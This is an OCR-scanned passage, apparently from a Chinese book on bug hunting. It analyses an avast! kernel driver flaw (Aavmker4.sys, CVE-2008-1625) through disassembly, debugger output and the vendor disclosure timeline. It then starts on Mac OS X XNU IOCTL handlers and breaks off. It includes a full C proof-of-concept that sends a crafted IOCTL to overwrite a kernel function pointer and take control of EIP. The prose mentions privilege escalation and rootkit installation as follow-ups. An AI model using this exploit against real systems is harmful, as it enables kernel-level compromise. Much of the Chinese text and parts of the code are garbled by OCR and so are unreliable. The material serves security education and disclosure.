+0x014 AuxiliaryBuffer : 7777
+0x018 ListEntry : struct LIST ENTRY, 2 elements, Ox8 bytes

+0x020 CurrentStackLocation : 7777

WinDbg H i B7~, IRP Z5H{KRL A CurrentStackLocation i W% 0x60
bb o, XAEHEE X F Windows WS H &2 (WDK ) B ntddk.h

[..]

/1

// 1/0 Request Packet (IRP) definition

I

Eypfde+ struct _IRP {
/1
// Current stack location - contains a pointer to the current
// T0_STACK_LOCATION structure in the IRP stack. This field
// should never be directly accessed by drivers. They should
// use the standard functions.
1/
struct _I0 STACK_LOCATION *CurrentStacklocation;

[..]

LIS B/R T _I0 STACK_LOCATION Z5#afAké4R /5 ( W WDK &) ntddk.h ).

(..]
typedef struct _IO_STACK_LOCATION {
UCHAR MajorFunction;
UCHAR MinorFunction;
UCHAR Flags;
UCHAR Control;
[..]
1/
// System service parameters for: NtDeviceloControlFile
ff
// Note that the user's output buffer is stored in the
// UserBuffer field
// and the user's input buffer is stored in the SystemBuffer
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// field.
!/

struct {
ULONG OutputBufferLength;
ULONG POINTER_ALIGNMENT InputBufferLength;
ULONG POINTER_ALIGNMENT IoControlCode;
PVOID Type3InputBuffer;

} DeviceloControl;

BT IOCTL 15K IoControlCode, X/ M45HAME & % A 4 X K
IMER . BIERA THLET 10 STACK_LOCATION LHEMEER, HKRESRRIC
A .

[..]

.text:0001098C ; int _ stdcall sub 1098C(int, PIRP Irp)

.text:0001098C sub_1098C proc near ; DATA XREF: DriverEntry+130
[..]

.text:00010982 mov ebx, [ebp+Izp] ; ebx = address of IRP

.text:000109B5 mov eax, [ebx+60h] ; eax = address of CurrentStackLocation
.text:00010988 mov  esi, [eax+8] ; ULONG InputBufferLength
.text:000109BB mov [ebp+var 1C], esi ; save InputBufferLength in var 1C
.text:000109BE mov  edx, [eax+4] ; ULONG OutputBufferLength
.text:000109C1 mov [ebp+var_3C], edx ; save QutputBufferLength in var_3C
.text:000109C4 mov eax, [eax+0Ch] ; ULONG IoControlCode

.text:000109C7 mov ecx, 0B2D6002Ch ; ecx = 0xB2D6002C

.text:000109CC cmp eax, ecx ; compare 0xB2D6002C with IoControlCode
.text:000109CE ja loc_10D15

[..]

ZHIHRFIE, fEMuhl. text:00010985 4F, —~3E[W_I0 STACK_LOCATION Hy3g
HRAFD EAX Ty, AR5, 7EHbAE.text:000109B8 4k, InputBufferLength fR4F
#| ESI FFeeP . TEHbAE . text:000109BE 4b, OutPutBufferLength fR757E EDX 3F4F
2err, FEHALE . text:000109C4 &b, IoControlCode {RFF7E EAX FiF8ET ., ZJ5, EAX
FARFER IOCTL E3R 43 5 #1{H oxB2D6002C b #¢ ( AL Hb hl . text:000109C7
Fl.text:000109CC AL ), W, KB TIIIRFE —TAUB IOCTL 8% KA
PRI I8 RITA SIRFL EAX F 8 IOCTL #RmEH#1THBHME, 53 —h
Aavmker4.sys X ¥ IOCTL 53,

6.1.5 HERP: HHBPIEHIRIMALE

B RIK AN T RFA IOCTL S, REAEMEEHPRELH I0CTL @A K
R PIX , FrA IRP_MJ DEVICE CONTROL =K #AR[R] A H itk A S wb X Al HH 22 vb
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X, RGrHiRx e se o X H) o 2 H T g X A, 2R 8RR A7 7E IOCTL A
i, ZE %K Windows 7, TOCTL AR FS (R % i CTL_CODE 4 . " F i & ntddk.h

By 53— B,

[..]
/!
// Macro definition for defining IOCTL and FSCTL function control codes. Note

// that function codes 0-2047 are reserved for Microsoft Corporation, and
// 2048-4095 are reserved for customers.

/!

#define CTL_CODE( DeviceType, Function, Method, Access ) ( \
((DeviceType) << 16) | ((Access) << 14) | ((Function) << 2) | (Method) \

)

[..]

//

// Define the method codes for how buffers are passed for I/0 and FS controls
/1l

#define METHOD BUFFERED
#define METHOD _IN DIRECT
#tdefine METHOD OUT DIRECT
#define METHOD_NEITHER

[..]
5SS RYE T CTL_CODE ZZfY Method 2EHEIE 2 RE T — T H¥kAEH
Aavmkerd4.sys [¥) IOCTL if i i 2B R B A 2 B,

RED;EH 6-1 Fiok#r Aavmkerd.sys B9 IOCTL 2 BRI EHBER AR /N T
H (IOCTL method.c)

W RO

01 #include <windows.h>
02 #include <stdio.h>

03

04 int

05 main (int argc, char *argv[])
06 {

07 unsigned int method = 0,
08 unsigned int code = 0;
09

10 if (arge 1= 2) {

11 fprintf (stderr, "Usage: %s <IOCTL code>\n", argv[0]);
12 return 1;

13 }

14

15 code = strtoul (argv[1], (char **) NULL, 16);
16 method = code & 3;

17

18 switch (method) {

19 case 0:
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20 printf ("METHOD BUFFERED\n");
21 break;

22 case 1:

23 printf ("METHOD IN DIRECT\n");
24 break;

25 case 2:

26 printf ("METHOD OUT DIRECT\n");
27 break;

28 case 3:

29 printf ("METHOD NEITHER\n");
30 break;

31 default:

32 fprintf (stderr, "ERROR: invalid IOCTL data transfer method\n");
33 break;

34 }

35

36 return 0;

37 }

$R )5 F Visual Studio BI6524T C 4iiEss (cl) RiFX T H,

C:\BHD>cl /nologo IOCTL_method.c
IOCTL method.c

LUF S BB R 6-1 X TREER TN

C:\BHD>IOCTL_method.exe B2D6002C
METHOD BUFFERED

Al W, R sh 8 A A f& %25 % METHODD BUFFERED #i2—™ IOCTL 53R B3 A%

HEWX, HH#E WDK FHZEWXH#R, XF#H METHOD_BUFFERED {ZHiZSRIH)
IOCTL, HiAZ WX B[7E Irp->AssociatedIrp.SystemBuffer F#F,
T Aavmkerd.sys L 4mia R — 5| i AZ XK F+ .

[..]
.text:00010CF1 mov eax, [ebx+0Ch] ; ebx = address of IRP
.text:00010CF4 mov eax, [eax]

[..]

XA F, EBX & — M8 m IRP SRS . #ilk. text:00010CF1 4b5]
FAT IRP Z5#0m# oxoC ALHI AL

kd> dt -v -r 2 _IRP

nt! IRP

struct _IRP, 21 elements, Dx?u bytes
+0x000 Type ?7?
+0x002 Size : 77
+0x004 MdlAddress  20?
+0x008 Flags : 7?

+0x00c AssociatedIxp : union __unnamed, 3 elements, Ox4 bytes
+0x000 MasterIrp : N
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+0x000 IrpCount : 22
+0x000 SystemBuffer 1N

[-.]

WinDbg i B, {5 X MRBALE A& AssociatedIrp (IRP->AssociatedIrp),
FE #1 1k . text:oo010CF4 4, TOCTL ¥R A S h X85 FIFRFE EAX H
( Irp->AssociatedIrp.SystemBuffer ), BERC S BNW3h X/ I0CTL LI K
IOCTL Wi ABUE, HIMAHIE T bug T,

6.1.6 ZP: HETIE IOCTL &LBIEF

BT RABENLTL2EE, F—KRESG ABIENREE T —1 IOCTL AbH
BRI, X4 5 &iE 3] IOCTL % oxB2060030 B, IR T — MBI H) bug,
R — 23| v K IOCTL 3% 0xB2060030, LA FALRSSHAT,

[..]
.text:0001098C ; int _ stdcall sub 1098C(int, PIRP Irp)

.text:0001098C sub 1098C proc near - ; DATA XREF: DriverEntry+130
[..]

.text:00010D28 cmp eax, 0B2D60030h ; IOCTL-Code == OxB2D60030 ?
.text:0001002D jz short loc_10DAB ; if so -> loc_10DAB

[..]

SRR A IOCTL #3%T 0xB2060030( W.. text:00010D28 ), Hiitil . text :00010DAB
BT 4ACHS (loc 10DAB ) $HAT,

[

.text:000109B8 mov esi, [eax+8] ; ULONG InputBufferLength
.text:0001098B mov [ebp+var_iC], esi

[..]

.text:00010DAB loc_10DAB: ; CODE XREF: sub_1098C+3A1
.text:00010DAB xor edi, edi ; EDI =0

.text:00010DAD cmp  byte 1240C, 0

.text:00010DB4 jz short loc_10DC9

(

.
.text:00010DC9 loc_10DC9:

CODE XREF: sub 1098C+428

.text:00010DC9 mov esi, [ebx+0Ch] : Irp->AssociatedIxp.SystemBuffer
.text:00010DCC cmp [ebp+var 1C], 878h ; input data length == 0x878 ?
.text:00010DD3 jz short loc_10DDF ; if so -> loc_10DDF

[-.]

Motk . text :00010DAB 4 EDI & 0, EBX FIFesfl&— 4 351 IRP Z5HIikAYTE

¥, JFELAEHuhE . text:00010DC9 &b, — -4 i) i A2 v DX B HOE ST ORAFAE 1 EST
th (Irp->AssociatedIrp.SystemBuffer ),
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e B BRI FFLA R4y, R InputBufferlength SRAFFEFRAER var_1c
( .. text:00010988 ), Hihl.text:00010DCC Ab%i ABHEM I BEF{E ox878 MHLEE

LE 6-4),

PR P9BE mov esi, [eax+d] ; ULONE Imputbsfferlength
QBB RYBE mOy [ebprvar_10], esi

2081 0PBE mov edx, [eax+h] ; UWLOME OutputBuf FerL!ngtnq
BOB1 0901 Moy [ebp+uar_3C], edx

0B 09CH mow eax, [eax+BCn] ; ULOME loControlCode

2081 9CT mov ecx, EO2D&QE2CH

081 89CC cmp eax, ecx

BOE1BOCE ja 1&1‘..1 15

T »

»
-

|not relevant

IR ; —

}

II'IHH i eax, BRZDE6AAIDH : IDETL-Cade -=- BxB2D&AD3D 1‘!
2810020 jz short loc 100AB ; if so -> loc 100RB

- I ]

Nl
2B BDAE
BBE1eDAE loc_ 18DAB:
DER1BDAR xor edi, edi ; Ep1 - iy
01 00AD cwp Dyte_1Z40C, 0
oBp10DBE j2 'shurt loc_1@pCe
Ty — .
L LI
ane1Bepce
BRE1BOCY loc_10BC9:
QB B0CY mov esi, [ebx+@Ch] ; Irp-dAssociatedlrp.lystenBuffer
B0 BDCC cmp [ebpsvar_1C]), B7T8h ; input data length -=- Bx878 7
28 80D3 jz short loc 18DDF ; if se > loc 180DF
i |

 6-4 IDAPro YA EBERNERE, %8 1545
WRBIE K EE T ox878, WISdt— B4 EST 45 [ 1 FH P 3 il A BHE .

(..]

.text:00010DDF loc_10DDF: ; CODE XREF: sub_1098C+447

.text:00010DDF mov  [ebp+var 4], edi

.text:00010DE2 cmp [esi], edi ; ESI == input data

.text:00010DE4 jz short loc_10E34 ; if input data == NULL -> loc_10E34

[..]

.text:00010DE6 mov eax, [esi+870h] ; ESI and EAX are pointing to the —
input data

.text:00010DEC mov [ebp+var_48], eax ; a pointer to user controlled data —
is stored in var 48

.text:00010DEF cmp  dword ptr [eax], ODODEADO7h ; validation of input data

EteTt:DﬂﬂlnﬂFS jnz  short loc_10E00

-text:00010DF7 cmp dword ptr [eax+4], 10BADOBAh ; validation of input data

itea]ct:ﬂﬂﬂinDFE jz  short loc_10E06

#iht . text:000100E2 AEAAREREEMARIER TS T NULL, WF2 NULL
M B [user_data+0ox870 AL R BR— N84T RAF7E EAX P ( L. text:00010DE6 ),
X—FEHERFRARAE B var 48 1 ( 1. text:00010DEC ), SRISTEFKE AL EAX $8[R1 )



6.1 RIWAE | 99

¥ 727 1) oxDODEADO7 5% 0x10BADOBA F13k( W..text :00010DEF A% . text :00010DF7 ),
RIS, staksem i A B

[..]

.text:00010E06 loc_10E06:

; CODE XREF: sub_1098(+472

.text:00010E06 x0T edx, edx

.text:00010E08 mov eax, [ebp+var_48]

.text:00010E0B mov [eax], edx

.text:00010E0D mov [eax+4], edx

.text:00010E10 add esi, 4 3 source address
.text:00010E13 mov ecx, 21Ah ; length
.text:00010E18 mov edi, [eax+18h] ; destination address
.text:00010E1B rep movsd ; memcpy()

[..]

Hiht . text:00010E1B ZbF) rep movsd #52 FR—1 memcpy()sREL. FrlA ESI
WML, 0 @& Hinibht, ECX FERABIEKE, X WMEN ox21a
( J.text:00010E13 ), ESI #5 [ /" #& %l #Y IOCTL %4 ( L. text:00010E10 ), EDI
ok B EAX 76 [ B F P ZdE (L. text:00010E18 DA K P 6-5 ).

BN S
B0@81000F
fBE1BDDF loc _1BDDF :
0081 B0DF mov [ebpevar 4], edi
PDB1BDE2Z cmp [esi), edi ; ES1 == input data
0B816DEY j=z short loc 1B0E34 ; if input data == HULL -> loc 18E34)
— Y
EN
PER1BDES mou eax, [esi+37an] ; ES1 and EAX are pointing to the input data
BEP1ODEC mow [ebpruar W3], eax ; a pointer to user controlled data 15 stored in var_u8
BRE1ODEF cmp dword ptr [eax], @D@EDFALDATH ; wvalidation of input dakta
@8 BOFS jnz short loc_1@E00
. ¥
HNuw
BPETBDFT cap dword ptr [eax+4], 100ALBERAR ; validation ofF input data
DBE1BDFE jz short loc_ 18EG4
LI -
0001 BE b6
B0 BERS loc 1BEMG:
BEB1BEDS xzor edx, edx
BEA1RERE mov eax, [ebp+uar_&d)
QOD1BEDE mou [eax], edx
f8O1BEBD mov [eax+h], edx
DB01BETD add esi, 4 : source address
POB1RETS mou ecx, Jian ; length
0081BE18 mou edi, [eax+iBh] ; destination address
A8018C10 rep movsd ; meacpy()
DBB1BE1D dec PendingCount2
gee18C2d inc dword pty [eax:7#h]
BOP1BEZS push edx ; Hait
PRR1BEZT push el : Increment
BAB1BEZA add eax, #
BOB1BEZR push Pax : Epent
BOB1BE2C call gs:NesetEvant
DOB1BEZ2 ®or edi, edi
I
6-5 IDA Pro FHIMA{UISEERER, 5 2859
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LAF A2 memepy () PH I C IHATHE,

memcpy ([EAX+0x18], ESI + 4, Ox21a * 4);

ERRAIERT .

memcpy (user controlled address, user_controlled data, 0x868);

B, & ox868 FF17 (ox21a * 4 F35, BN rep movsd $54 Mh—NHo i il
X7 73— #077 ) WA P EHIEEIEE NS ss a2 TR, Tt
R ZERIEENZE ), REF

A 6-6 Bs T XA bug, FIHFINTF.,

—

l

h & T 6

\Device\AavmKer4

(1)

I0CTL &k -
OxB2D 60030

Nl

(2)

Aavmker4.sys —_—

WA B KR == oxg78?

l (3)

APt ®iED G

OxDODEADO7 #u Ox10BADOBA
X2 4 (@57

|

l (4)

memcpy (user controlled_address,

user_controlled_value, Ox868)

lf-‘"]

) 3 30 4 % 4%

& 6-6 M IOCTL R BINFEIEHRIF, WK

(1) =~ IOCTL ¥k (0xB2D60030 ) K4 (i AavmKers iR 45BN 0K 3h

Aavmker4.sys.

(2) IR FFFSAEE IOCTL M ABUE KB EB%TF 0x878, WIEAES:, 4ksk

PATEE 3 2,

(3) WEhEFRAE A #£5 8 IOCTL M ALIE R A SH oxDODEADO7 FI
Ox10BADOBA., WIS A, REEHATE 42,
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(4) PATHE R A memepy () TEFH o
(5) NAFRHEBBIA .

6.2 RREAFHA

AT EIP, FAERERI —EERNES Birdihk, 7 IOCTL #EHlE+
BRET, RIRBIBALLFH—1~ R BEEE A TT

[

]

.text:00010D8F push 2 ; _DWORD

.text:00010D91 push 1 ; _DWORD

.text:00010D93 push 1 ; _DWORD

.text:00010D95 push dword ptr [eax] ; _DWORD

.text:00010D97 call KeGetCurrentThread

. text:00010D9C push  eax ; _DWORD

.text:0001009D call dword_12460 ; the function pointer is called
.text:00010DA3 mov [ebx+18h], eax

ite:jct:mmlnmﬁ jmp loc_10F04

.text:00010DB6 push 2 ; _DWORD

.text:00010DB8 push 1 ; DWORD

.text:00010DBA push 1 ; _DWORD

.text:00010DBC push edi ; _DWORD

.text :00010DBD call KeGetCurrentThread

.text:00010DC2 push eax ; _DWORD

.text:00010DC3 call  dword_12460 ; the function pointer is called

[--]
.data:00012460 ; int (__stdcall *dword_12460)(_DWORD, _DWORD, _DWORD, _DWORD, _DWORD)

.data:00012460 dword_12460 dd o ; the function pointer is declared
(..]

HohE . text:00010D09D AbFIHbHL . text:00010DC3 AL T #uhlk . data: 00012460
e AR pREFEET . N T EH EIP, REFEEEXREIEH, AREE M
RE T LT POC AU RERM X/ R Bde%t o

HFDE S 6-2  FIRIRY\ ML . data:00012460 Kb R EEE4H i) POCRFS (poc.c)

01 #include <windows.h>
02 #include <winioctl.h>
03 #include <stdio.h>
04 #include <psapi.h>

05

06 ttdefine IOCTL 0xB2D60030 // wulnerable IOCTL
07 #define INPUTBUFFER_SIZE Ox878 // input data length
08

09 _ inline void

10 memset32 (void* dest, unsigned int fill, unsigned int count)
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11 {

12 if (count > 0) {

13 _asm {

14 mov  eax, fill // pattemn
15 mov  ecx, count // count
16 mov edi, dest // dest
17 rep stosd,

18 }

19 }

20 }

21

22 unsigned int
23 CetDriverlLoadAddress (char *drivername)

24 {

25 LPVOID drivers[1024];

26 DWORD cbNeeded = 0;

27 int cDrivers = 0;

28 int i = 0;

29 const char * ptr = NULL;

30 unsigned int addr = 0;

i1

32 if (EnumDeviceDrivers (drivers, sizeof (drivers), &cbNeeded) &&
33 cbNeeded < sizeof (drivers)) {
34  char szDriver[1024];

35

36  cDrivers = cbNeeded / sizeof (drivers[0]);

37

38 for (i = 0; i < cDrivers; i++) {

39 if (GetDeviceDriverBaseName (drivers[i], szDriver,

40 sizeof (szDriver) / sizeof (szDriver[0]))) {
41 if (!strncmp (szDriver, drivername, 8)) {

42 printf ("%s (%08x)\n", szDriver, drivers[i]);

43 return (unsigned int)(drivers[i]);

44 ¥

45 }

46 }

47 '}

48

49 fprintf (stderr, "ERROR: cannot get address of driver %s\n", drivername);
50

51 return O;

52 }

53

54 int

55 main (void)

56 {

57 HANDLE hDevice;

58 char * InputBuffer = NULL;

59  BOOL retval = TRUE;

60 unsigned int driveraddr = 0;

61 unsigred int patterni = OxDODEADO7;
62 unsigned int pattern2 = Ox10BADOBA;
63 unsigned int addr to overwrite = 0; // address to overwrite

64 char dataTEGEE];
65



67

70
71
72
73
74
75
76
17
78
79

81
82
83

85
86
87
88

91
92
93

95
97

100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
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// get the base address of the driver
if (!(driveraddr = GetDriverloadAddress ("Aawmkers"))) {
return 1;

}

/! address of the function pointer at .data:00012460 that gets overwritten
addr to overwrite = driveraddr + 0x2460;

// allocate InputBuffer

InputBuffer = (char *)VirtualAlloc ((LPVOID)oO,
INPUTBUFFER_SIZE,
MEM COMMIT | MEM RESERVE,
PAGE_EXECUTE_READWRITE);

LTTTEEEEEE T2 TR0 i iiiiietiiiiiliiiiiiiiiil
/{ InputBuffer data:

/!

/1 .text:000100C9 mov esi, [ebx+0Ch] ; ESI == InputBuffer

/1 fill InputBuffer with As
memset (InputBuffer, ox41, INPUTBUFFER SIZE);

// .text:00010DE6 mov eax, [esi+870h] ; EAX == pointer to "data"
memset32 (InputBuffer + 0x870, (unsigned int)8data, 1); .

THEHETHETTEE R E T LT AT EE i LA T T AT LI AT i i i i iiridirdy
// data:
//

// As the "data" buffer is used as a parameter for a "KeSetEvent™ windows kernel
// function, it needs to contain some valid pointers (.text:00010E2C call ds:KeSetEvent)
memset32 (data, (unsigned int)&data, sizeof (data) / sizeof (unsigned int));

/! .text:000100EF cmp dword ptr [eax], ODODEADO7h ; EAX == pointer to "data"
memset32 (data, pattemi, 1);

// .text:000100F7 cmp dword ptr [eax+4], 10BADOBAh ; EAX == pointer to "data”
memset32 (data + 4, pattern2, 1);

// .text:00010E18 mov edi, [eax+18h] ; EAX == pointer to "data"
memset32 (data + Ox18, addr_to overwrite, 1);

FEATTITEEEETEETEEE AT EE AT T E i i it iiiiirididiiiiiiiies
// open device
hDevice = CreateFile (TEXT("\\\\.\\AawmKersq"),

GENERIC_READ | GENERIC_WRITE,

FILE SHARE READ | FILE SHARE WRITE,

NULL,

OPEN_EXISTING,

0,

NULL);

if (hDevice != INVALID HANDLE VALUE) {
DWORD retlen = 0;

// send evil IOCTL request
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122 retval = DeviceloControl (hDevice,

123 10CTL,

124 (LPVOID) InputBuffer,

125 INPUTBUFFER SIZE,

126 (LPVOID)NULL,

127 0,

128 &retlen,

129 NULL);

130

131 if (retval) {

132 fprintf (stderr, "[-] Error: DeviceloControl failed\n");
133 }

134

135} else {

136 fprintf (stderr, "[-] Error: Unable to open device.\n");
137

138

139 return (0);

140 }

RIBTE B 6-2 BI%E 67 17, NPT HEMIHRIFLE driveraddr H, R

Ja, % 72 AT E R BEE T Ayt ;

XA HHE BT A memepy )ARIEE . 56

75 #5743 B —~1~ INPUTBUFFER_SIZE /N (0x878 ) UG h[X , XM X 15 IOCTL
WAZHE, LA+ BEHHE oxa1 HFE ( REE 86 17 ). RETEM 7 —EAMIRE
WA BWMALIEZPX H (W5 89 1T ). FEWSNFRFHICHwWIGH, X185t
TEHbhE . text:00010DE6 AL 85| FH: mov eax, [esi+870h].

7E memcpy () BREURAZ J5, B REEEEA T W R KeSetEvent().

[

lli]
.text:00010E10

add esi, 4 ; source address
.text:00010E13 mov ecx, 21Ah ; length
.text:00010E18 mov edi, [eax+18h] ; destination address
.text:00010E1B rep movsd 3 memcpy()
.text:00010E1D dec PendingCount2
.text:00010E23 inc dword ptr [eax+20h]
.text:00010E26 push edx ; Wait
.text:00010E27 push edx ; Increment
.text:00010E28 add eax, 8
.text:00010E2B push eax ; Parameter of KeSetEvent
.text:00010E2B ; (eax = IOCTL input data)
.text:00010E2C call ds:KeSetEvent ; KeSetEvent is called
.text:00010E32 x0T edi, edi
[..]

i F EAX FFFE2545 1) i F P B gk VR R B — 1~ S8 L. text : 00010E2B ),

B 2 b X B A TR AT,

LABH (E3E¥E ViRl . BARF B 5848 -

A AR Z X (W 9747 ). ZJRTESE 100 47H1 103 17, KM
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REE R BIBAEZE b X (L. text:00010DEF . text:00010DF7 ), MZESE 106 17,
memcpy () BRELH) B ir ik th B H B T HIEEZ b X ( .text:00010E18 mov edi,
[eax+18h] ). #RJ5 , BXBhER ¥ LA/ Jr AT L& ( 58 11047 ), TEE /Y IOCTL
HRREL T HRRAPAZEISIERF (RE 12297 ).

55 POC 2 J5 ,iE4T Windows XP i VMware 2 P HL & 45313 WinDbg
fHmEiAae B (LU R4 rf#R L B.2 75 ).

kd> .sympath SRV*c:\WinDBGSymbols*http://msdl.microsoft.com/download/symbols
kd> .reload

[..]

kd> g

Break instruction exception - code 80000003 (first chance)
ok ok s s ke ok ok ke s sk s ok ok ok ok e sk ok o sk ok e sk ok e o o ke ok ok e o o ok o ok sk sk ok ok s ok sk ok ok ke e 3 o o ok o 3k ok o o ol e e ook ok ok o o o ok ok ok ke o e e

*®

You are seeing this message because you pressed either
CTRL+C (if you run kd.exe) or,
CTRL+BREAK (if you run WinDBG),

on your debugger machine's keyboard.

THIS IS NOT A BUG OR A SYSTEM CRASH

* O ¥ ¥ O H W

* If you did not intend to break into the debugger, press the "g" key, then
* press the "Enter” key now. This message might immediately reappear. If it

* does, press "g" and "Enter” again.
*

ok o ok o ok ok ko ook ok ok o ko ok ook o o ook okl o 3ok o ok ol ok ok sk ok ok ook ook ok ok ok o o ook ok sk ok ok o ok ok ok sk ok ok ook ok ok ok Kok o ok ok ok ok

nt!RtlpBreakWithStatusInstruction:
80527bdc cc int 3

£ ¥ ¥ ¥ ¥ * K K F ¥ ¥ X

kd> g

SAJEFRA Visual Studio BIMA1T C 4iFas (cl) iFXEB POC 1A%, I
VMware & FHLE S F LEHERAUH P R S HHTE.

C:\BHD\avast>cl /nologo poc.c psapi.lib
C:\BHD\avast>poc.exe

A7 POC RIBEHB R A 4 . IIE A EME REPEFRE BB AT E N
TUE? 4, RATEMESTIF Al AT XA R BR s oI LA T . 47
FIE, FEREESHEBUTHER.

MR AAVMKER: WRONG RQ HAHHHEB I HEHHHE |

Access violation - code c0000005 (!!! second chance !!!)
41414141 ?? ???

WE! ISP RL2ARNERZ T T . ARIEX—R, RibEX4E5H
HEZER
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kd> kb

ChildEBP RetAddr Args to Child
not in any known module. Following frames may be wrong.

WARNING:
ee91abco
eeglac34
eeglac44
ee91acs8
ee91adoo
ee91ad34
ee91ad34
0184c4d4
0184ffba
0184ffec

kd>

Frame IP
f7925da3
804ee119
80574ds5e
80575bff
8056e46¢
8053d638
7¢90e4f4
650052be
7c80b713
00000000

86202628
86164030
86075728
86164030
0000011c
0000011c
0000011¢
0000011c
0016d2a0
65004198

elcd33a8 00000001
860756b8 806d22do
861494e8 860756b8
860756b8 861494¢8
00000000 00000000
00000000 00000000
00000000 00000000
b2d60034 0184ff74
00150000 0016bd9o
0016d2a0 00000000

0x41414141
Aavmker4+0xda3
nt!IopfCallDriver+0x31

nt ! IopSynchronousServiceTail+0x70
nt ! IopXxxControlFile+0x5e7

nt INtDeviceIoControlFile+0x2a
nt!KiFastCallEntry+0xf8
0x7c90e4f4

0x650052be

0x7¢80b713

eax=862026a8 ebx=860756b8 ecx=b2d6005b edx=00000000 esi=00000008 edi=861494¢e8

eip=41414141 esp=ee91abc4 ebp=ee91ac34 iopl=0
cs=0008 ss5=0010 ds=0023 es=0023 s=0030 gs=0000

41414141

?7?

727

nv up ei pl nz na po nc
ef1=00010202

FIAARWT, A 6-7 Fraso
(1) AR K ER ox878 187 IR, PUTEQR)HE,
(2) APZERZ X data #5|H.
(3) data[o]Fl data[4] R EIRD) T BUHAKRR? WRE, PITHEW@)E.
(4) memcpy () VA FH A El pnHuHE 851 o
(5) memcpy () PREIE IOCTL S A BB & HI B WK . data X,
(6) BT EHBGT R R B IR SE 2 T EIP,

#) B 38
-
.data
(€)
g o |'u‘J..4| Ox41414141 €— o B 35%+
text
r | oS
P w e ___jflﬁ_;

IRP

SystemBuffer

s 41414141
41414141 ...

ff}/’fﬁ#ﬁp‘

inputBufferLength == ox878 ?

>ETHVINBOHB/A?

(3)

B 6-7 X avast! {8 F) H
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R AT POC IR A MM A Z AR LS, iS4 BB FEV1( BSoD )
( WLE 6-8 ),

&l 6-8 WBESEHL ( BSoD )

#£HT EIPZfE, IR TRAFAERF. — A LR SYSTEM AURIR T1F
MR EFEREP (BPREET}, privilege escalation ), B —MEF AT E LK HiE
W TE#4% ( Direct Kernel Object Manipulation, DKOM ) H AR USE % 225 —
/™ rootkit,

ARSI RSB W TAERRRAAREER, BRI BRI, ]
DAEARBHM G - F — B A AR .

6.3 IRIEEIE
2008 F 3 B 298, B~

20084 3 A 18 H I X bug il 45 ALWIL Software, - KAt 1£ 46 T avast!
HIBERTRA . e, Xt T REML AR A& i R Uiax ] R

6.4 ZIFNHGI
HEh— BB B R RS TT R %
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QAFHBRENRENBHELERE, FELIFERFNAH RS XE
B’

Q 5 FE R IE T HIGUE R A ZE ;

0O NAFE RIERAIEM B AR AR Z A PR BEE S IkE .,

6.5 %P7

w08 F 3 B3B8, BB

HAXNRIASBE, T T8I — B avast!, RS KBEEH KM
i ERAT — e 2w E", X4 bug HE R CVE-2008-1625. & 69 &
R T XIRiR G E R E &,

FE G lER
ALWIL _Sottware
¥ %l o {fhRavast! B
\ \ AEHETLRE
. - - -‘/
0%2.18.2008 05.19.2008 03292008 0O3.30.2008
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OS X i) XNU W%, FEJLA/Ditm B AR, BB TREFRY bug, TENEZIR
EALHE— ¥k TTY IOCTL BH&RA: . X1~ bug REZ A, HE T POC SR
VFARREBUA b Pl IR (kernel panic ) (ERSZERIBE. ZJ5, MTEH—HE,
RERFE—NRFAFHBRFREE X bug 26 AFEEAEIIT. X6, &
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P HEEAS X SR

711 F—%: FIHAZEM I0CTL

A THIH AR IOCTL, REEAAZERAESHEREHM IOCTL 2., &1
IOCTL #8453 T —MF , W H £ & A . 184E TOCTL 258!, OS X 1) XNU
WHGEX TLURZS: _I0R, _I0W Hl_IOWR,

osx$ pwd
fUsers/tk/xnu-792.13.8

osx? grep -xnw -e _IOR -e _IOW -e _IOMWR *

[..

xnu-792.13.8/bsd/net/bpf.h:161:#define BIOCGRSIG IOR('B',114, u_int)
Xnu-792.13.8/bsd/net/bpf.h:162:#define BIOCSRSIG IOW('B',115, u_int)
Xnu-792.13.8/bsd/net/bpf.h:163:#define BIOCGHDRCMPLT IOR('B',116, u_int)
Xnu-792.13.8/bsd/net/bpf.h:164:#define BIOCSHDRCMPLT IOW('B',117, u_int)
Xnu-792.13.8/bsd/net/bpf.h:165:#define BIOCGSEESENT IOR('B',118, u int)
Xnu-792.13.8/bsd/net/bpf.h:166:#define BIOCSSEESENT IOW('B',119, u_int)

[..]

FH XNU AR IOCTL J5, 1 3R FSLHX L8 IOCTL AL S04,
RIEENAZEREHZE R FZ B TOCTL 4 . T 1 2% % BIOCGRSIG IOCTL
1+ o

osx$ grep --include=*.c -rn BIOCGRSIG *
xnu-792.13.8/bsd/net/bpf.c:1143: case BIOCGRSIG:

—_—

712 FTH: H5IMANRE

A TR% IOCTLiE R P RASEE, REA T B LR A % R
BRI L R EOE HEHEW—N2HM ond 1 u_long BISE, LIK—1 %K data 9
caddr t BIZ%,

AEIE

FAREHE  xnu-792.13.8/bsd/netat/at.c

[..]

135 int

136 at_control(so, cmd, data, ifp)
137 struct socket *so;

138 u_long cmd;
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139 caddr_t data;
140 struct ifnet *ifp;
141 {

[..]

BRI xnu-792.13.8/bsd/net/if.c
[..]

1025 int

1026 ifioctl(so, cmd, data, p)
1027 struct socket *so;
1028 u_long cmd;

1029 caddr_t data;

1030 struct proc *p;

1031 {

[..]

ERBEYY  xnu-792.13.8/bsd/dev/vn/vn.c

(-]

877 static int

878 vnioctl(dev t dev, u_long cmd, caddr_t data,
879 __unused int flag, struct proc *p,

880 int is_char)

881 {

(..]

X EHSWER B L FEN: md BHEA IOCTL HR%S, data B
BARAEF P AR IOCTL %dE

FE Mac OS X |, IOCTL #FKE¥ETd ioctl ) REFAEELNE, XTR
GLiEAERIT,

osx$ man ioctl

[-.]
SYNOPSIS

#include <sys/ioctl.h>

int

ioctl(int d, unsigned long request, char *ar :
DESCRIPT = SR BP);

The ioctl() function manipulates the underlying device parameters of spe-
cial files. In particular, many operating characteristics of character
special files (e.g. terminals) may be controlled with ioctl() requests.

The argument d must be an open file descriptor.

An ioctl request has encoded in it whether the argument is an "in"
parameter or "out" parameter, and the size of the argument argp in

bytes. Macros and defines used in specifying an ioctl request are
located in the file <sys/ioctl.h>.

[..]
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IOCTL #ER KX L ABET, S¥ request AfEAIEHA IOCTL 455, argp
WIS N\ B P R L) IOCTL 5K ¥E - ioct1() IS request 1 argp 25IXTH
FHERISE cnd F data,

REBTHCHRER.: K4 IOCTL ERENZRBEA —1 data =
B, WEsERE AP RAE IOCTL A

713 F=%: REMALE

EBINZ AL IOCTL RV 5, FAEX LA R BR PR A B,
FEREBENRR, FHEHEABN, RAEERIEZAT IIINELURARA T . &
KILH B B HIHETE bug, RAENBIAREILLEE—MEBRE TTY IOCTL K i &4
